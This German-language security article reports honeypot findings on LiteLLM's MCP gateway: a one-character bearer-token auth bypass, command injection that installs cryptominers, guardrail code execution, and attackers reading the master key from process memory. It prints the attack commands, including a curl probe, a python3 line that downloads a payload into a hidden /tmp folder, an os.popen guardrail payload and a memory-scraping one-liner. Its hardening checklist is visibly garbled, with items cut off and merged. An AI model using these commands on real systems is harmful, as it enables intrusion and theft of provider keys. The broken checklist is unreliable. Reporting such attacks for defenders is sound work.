Wie ein einzeiliger Bearer Token das MCP-Gateway von LiteLLM öffnete
Honypots haben Angreifer aufgedeckt, die einen Authentifizierungsumgehungsweg von LiteLLM MCP sowie eine Schwachstelle bei der Codeausführung ausnutzten. Hier ist die Angriffskette sowie eine sechsstufige Checkliste zur Stärkung der Sicherheit.
Quellen: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
Über einen Zeitraum von 90 Tagen betrieb Wiz Research Täuschungsserver, die nach echten KI-Tools wie LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI und Node-RED gestaltet waren, und protokollierte, wer versuchte, Zugang zu erlangen. Tatsächliche Angreifer waren dabei. Das wichtigste Ergebnis war kein Zero-Day-Sicherheitsfehler, sondern ein Fehlerbehandlungsmechanismus im Model Context Protocol (MCP) Gateway von LiteLLM, der den Text „Ich erkenne diesen Token nicht“ fälschlicherweise als „Dieser Token ist in Ordnung“ interpretierte. Ein nur einen Zeichen lange Bearer-Token reichte bereits aus, um Zugang zu erhalten. LiteLLM ist ein beliebtes Gateway, das es Anwendungen ermöglicht, über einen einzigen Endpunkt mit mehreren Modellanbietern zu kommunizieren; daher sollten die Teams, die es nutzen, zehn Minuten dafür einplanen.
Der Umgehungsweg mit einem Zeichen
Die Schwachstelle ist unter CVE-2026-59822 erfasst. Der MCP-Endpunkt von LiteLLM soll einen Bearer-Token überprüfen, bevor er Zugang zu allen mit der Organisation verbundenen MCP-Servern gewährt – wie z. B. Jira, Slack, internen Datenbanken sowie CI/CD-Pipelines. Auf dem fehlerhaften Weg führte ein Token, das die normale Überprüfung durch LiteLLM nicht bestand, zu einem 401-Fehler. Der Code erkannte diesen Fehler und gab ein leeres Authentifizierungsobjekt zurück. Leer bedeutet nicht Ablehnung, sondern dass die Authentifizierung als „niemand“ erfolgte, und die MCP-Schicht akzeptierte das.
Der von Angreifern gesendete Probeanfragen war so klein wie nur möglich:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Falls die Antwort einen mcp-session-id-Header enthielt, war die Sitzung geöffnet, es bestand Zugriff auf alle MCP-Tools, die der Proxy erreichen konnte, und es lagen keine gültigen Anmeldeinformationen vor. Die Honeypots protokollierten die Live-Prüfungen, und der CVE wurde in CISAs Liste der bekannten ausgenutzten Schwachstellen aufgenommen.
Von einer offenen Sitzung zum Kryptominer
Schon eine offene MCP-Sitzung war an sich problematisch, doch die Angreifer nutzten sie weiter aus. Wiz dokumentierte den Umgehungsmechanismus, der auf CVE-2026-42271 zurückführte – einen Befehls-einschub-Fehler in den Test- und Konfigurationsendpunkten von MCP, bei dem eine manipulierte Serverkonfiguration die Ausführung unsicherer Unterprozesse auslöst. Das Vorgehen war einfach: Eine falsche MCP-Konfiguration wurde registriert, die dazu führte, dass ein Kryptominer heruntergeladen und ausgeführt wurde; anschließend wurde der Staging-Ordner gelöscht, sodass ein einfacher ls-Befehl nichts anzeigte. Ein typischer Herunterladungsschritt sah so aus:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Ein Teil der Aktivitäten wurde mit der Qilin-Ransomware-Gruppe in Verbindung gebracht. Die Taktiken zur Umgehung von Sicherheitsmaßnahmen sind wichtiger als die CVE-Nummern. Die Miner wurden in /tmp/.dbus-cache/ platziert, die Binärdateien in Namen wie unicorn umgenannt, und bei einer Kampagne wurde die Schadsoftware in /app/data/.claude/ abgelegt – einem Verzeichnis, das so gestaltet war, als handele es sich um ein Claude Code-Konfigurationsverzeichnis – damit es wie übliche Tools aussah und nicht wie ein Eindringversuch.
Ein weiterer Fehler: Codeausführung durch Schutzmechanismen
LiteLLM hatte ein separates, ebenso ernstes Problem, CVE-2026-59821, in den benutzerdefinierten Schutzmechanismen. Diese Funktion ermöglicht es Administratoren, Python-Snippets hochzuladen, die eingehende Anfragen überprüfen. Der Upload-Endpunkt kompilierte und führte das Snippet mit exec(compile(...)) aus, ließ __builtins__ unverändert und ermöglichte somit beliebige Importe. Eine Administrator-Sitzung oder eine nicht authentifizierte Sitzung, wie im Folgenden beschrieben, konnte daher einen falschen Schutzmechanismus registrieren, wie zum Beispiel:
import os
_cmd = os.popen('id').read().strip()
und erhalten die Ausgabe des Befehls wieder im Feld „block-reason“ einer späteren Antwort. Version 1.82.0 behebt dieses Problem, indem sie die Admin-Rolle für die Guardrail-Endpunkte vorschreibt und __builtins__ vor der Kompilierung entfernt. Bei einer älteren Version ist ein Patch dringend erforderlich, da das nächste Problem die Situation verschlimmern wird.
Die Standardeinstellung, die dies möglich machte
Das Detail, das dies zu einem Vorfall und nicht zu einer Routinekorrektur macht: Da keine Master-Schlüssel festgelegt waren, behandelte LiteLLM jeden Aufrufer als PROXY_ADMIN. Es handelte sich dabei nicht um einen nur zum Lesen oder eingeschränkten Zugriff – es war ein vollständiger Administratorzugriff, einschließlich des Guardrails-Endpunkts. Zudem wurden bei vielen Bereitstellungen überhaupt keine Schlüssel gesetzt. Als Forscher öffentliche Instanzen durchsuchten, nutzte etwa jede zehnte (9,6 % von 3.074) weiterhin den Standard-Schlüssel sk-1234 oder überprüfte gar nichts. Hinzu kamen der MCP-Bypass sowie ein Fehler bei der Ausführung von Guardrails – dadurch gab es mehrere unabhängige, einfache Wege, auf einen Rechner zuzugreifen.
Auf die Speicherinhalte achten, nicht auf Dateien
Wiz bezeichnet die anschließende Vorgehensweise als „AI-native Post-Exploitation“; der für KI spezifische Aspekt ist das, wonach Angreifer suchten, nachdem sie einen Shell-Zugang erlangt hatten. Sie konzentrierten sich auf den Speicher des laufenden Prozesses und nicht auf Dateien auf der Festplatte:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Diese einzige Zeile liest den Master-Schlüssel des Proxys direkt aus dem Speicher aus, ohne auf die Festplatte zugreifen zu müssen. Anschließend listeten die Eindringlinge Konfigurationspfade wie /app/litellm_config.yaml und ~/.litellm/config.yaml auf, ermittelten, welche Backend-Modelle verbunden waren, und wählten Ziele aus, die der Proxy erreichen konnte. Ein solcher Gateway ist ein wertvolleres Ziel als ein gewöhnlicher App-Server. Die Wiz-Telemetriedaten zeigten, dass ein Proxys oft gleichzeitig aktive Schlüssel für OpenAI, Anthropic, Azure OpenAI und Gemini enthält, sodass bereits eine einzige Speicherabfrage vier Anbieter preisgibt.
Checkliste statt CVE-Nummern
- Überprüfen Sie die Version. LiteLLM 1.84.0 oder neuer behebt das MCP-Bypass-Problem, und 1.82.0 oder neuer behebt den Fehler bei der Ausführung der Schutzmechanismen. Falls Sie in Bezug auf beide Versionen zurückliegen, planen Sie einen Nachmittag für den Upgrade ein.
sk-1234 sein noch leer. Führen Sie echo $LITELLM_MASTER_KEY aus und überprüfen Sie, dass es nicht der vor langer Zeit eingefügte Standardwert aus dem Tutorial ist.PROXY_ADMIN besitzt. Nach dem Patch wird die Standardrolle zu INTERNAL_USER, doch bestehende Implementierungen werden nicht automatisch herabgestuft, daher prüfen Sie die Rollenzuweisungen manuell.curl oder python3 -c startete, und das häufiger als in irgendwelchen Zugriffsprotokollen.Ein KI-Gateway verdient es, als echter Schatzkasten für Anmeldeinformationen behandelt zu werden – und nicht als bequemer Proxy, der einmal eingerichtet und danach vergessen wird. Der Authentifizierungsfehler war nichts Exotisches; es handelte sich dabei um ein try/except-Schema, das den falschen Fehler verschluckte, und Angreifer haben ihn bereits in der Praxis genutzt.